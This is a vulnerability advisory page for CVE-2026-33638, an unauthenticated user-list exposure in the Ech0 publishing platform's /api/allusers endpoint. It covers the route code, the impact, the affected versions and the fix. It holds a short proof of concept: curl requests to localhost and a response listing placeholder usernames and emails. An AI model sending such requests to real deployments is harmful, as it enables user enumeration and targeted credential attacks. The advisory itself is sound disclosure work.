CVE-2026-33638: Ech0 authenticated user-list exposed data via public `/api/allusers` endpoint

Published Mar 24, 2026
·
Updated

Summary GET /api/allusers is mounted as a public endpoint and returns user records without authentication. This allows remote unauthenticated user enumeration and exposure of user profile metadata.

Details The route is registered under public routes:

- internal/router/user.go:17 - appRouterGroup.PublicRouterGroup.GET("/allusers", h.UserHandler.GetAllUsers())

The handler itself is documented as requiring authentication:

- internal/handler/user/user.go:177-185 - API docs/annotations indicate auth requirement (@Security ApiKeyAuth).

PoC

1) Negative control: endpoint that should require auth

Request: bash curl -i "http://localhost:6277/api/user"

Response: bash HTTP/1.1 401 Unauthorized Access-Control-Allow-Headers: Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT Access-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Content-Language: zh-CN Content-Type: application/json; charset=utf-8 Expires: 0 Pragma: no-cache Surrogate-Control: no-store Date: Sun, 22 Mar 2026 07:21:22 GMT Content-Length: 135

{"code":0,"msg":"未找到令牌,请点击右上角登录","errorcode":"TOKENMISSING","messagekey":"auth.tokenmissing","data":null}

2) Trigger: call public user-list endpoint without auth

Request: bash curl -i "http://localhost:6277/api/allusers"

Response: bash HTTP/1.1 200 OK Access-Control-Allow-Headers: Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PATCH, PUT Access-Control-Expose-Headers: Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type Content-Language: zh-CN Content-Type: application/json; charset=utf-8 Date: Sun, 22 Mar 2026 07:21:56 GMT Content-Length: 912

{"code":1,"msg":"获取用户列表成功","data":[{"id":"019d144a-18fa-7db3-a2dd-310604210abd","username":"h1poc17741618931","email":"h1poc17741618931@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-1904-7c0a-98ec-656079a82c64","username":"h1poc17741618932","email":"h1poc17741618932@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-190b-70f8-89cb-4f8ab46cec9b","username":"h1poc17741618933","email":"h1poc17741618933@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-e7dc-7cef-9395-4d0e392a5278","username":"alice","email":"alice@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"},{"id":"019d144a-e7e3-79f3-bb09-0ea758333a54","username":"bob","email":"bob@example.com","isadmin":false,"isowner":false,"avatar":"","locale":"zh-CN"}]}

Impact Vulnerability type: Access control bypass / unauthenticated data exposure. Who is impacted: Any deployment exposing the API to untrusted networks, and all users whose profile metadata can be enumerated. Business/security impact: Enables account reconnaissance and targeted credential attacks.

A fix is available at https://github.com/lin-snow/Ech0/releases/tag/v4.2.0.

Other sources

Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to version 4.2.0, GET /api/allusers is mounted as a public endpoint and returns user records without authentication. This allows remote unauthenticated user enumeration and exposure of user profile metadata. A fix is available in v4.2.0.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/lin-snow/ech0<1.4.8-0.20260322121226-acbf1fd71011
1.4.8-0.20260322121226-acbf1fd71011
Ech0 Ech0<4.2.0

Event History

Mar 24, 2026
Advisory Published
via GitHub·10:25 PM
Data Sourced
via GitHub·10:25 PM
DescriptionSeverityWeaknessAffected Software
Mar 26, 2026
CVE Published
via MITRE·08:52 PM
Data Sourced
via MITRE·08:52 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-33638?

CVE-2026-33638 is a critical vulnerability due to the exposure of user records without authentication.

2

How do I fix CVE-2026-33638?

To fix CVE-2026-33638, ensure that the public endpoint for GET /api/allusers requires proper authentication.

3

What software versions are affected by CVE-2026-33638?

CVE-2026-33638 affects versions of the ech0 package prior to 1.4.8-0.20260322121226-acbf1fd71011.

4

What type of data is exposed in CVE-2026-33638?

CVE-2026-33638 allows the unauthorized enumeration of user profiles and their associated metadata.

5

Is CVE-2026-33638 exploitable remotely?

Yes, CVE-2026-33638 is exploitable remotely due to the public nature of the affected API endpoint.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203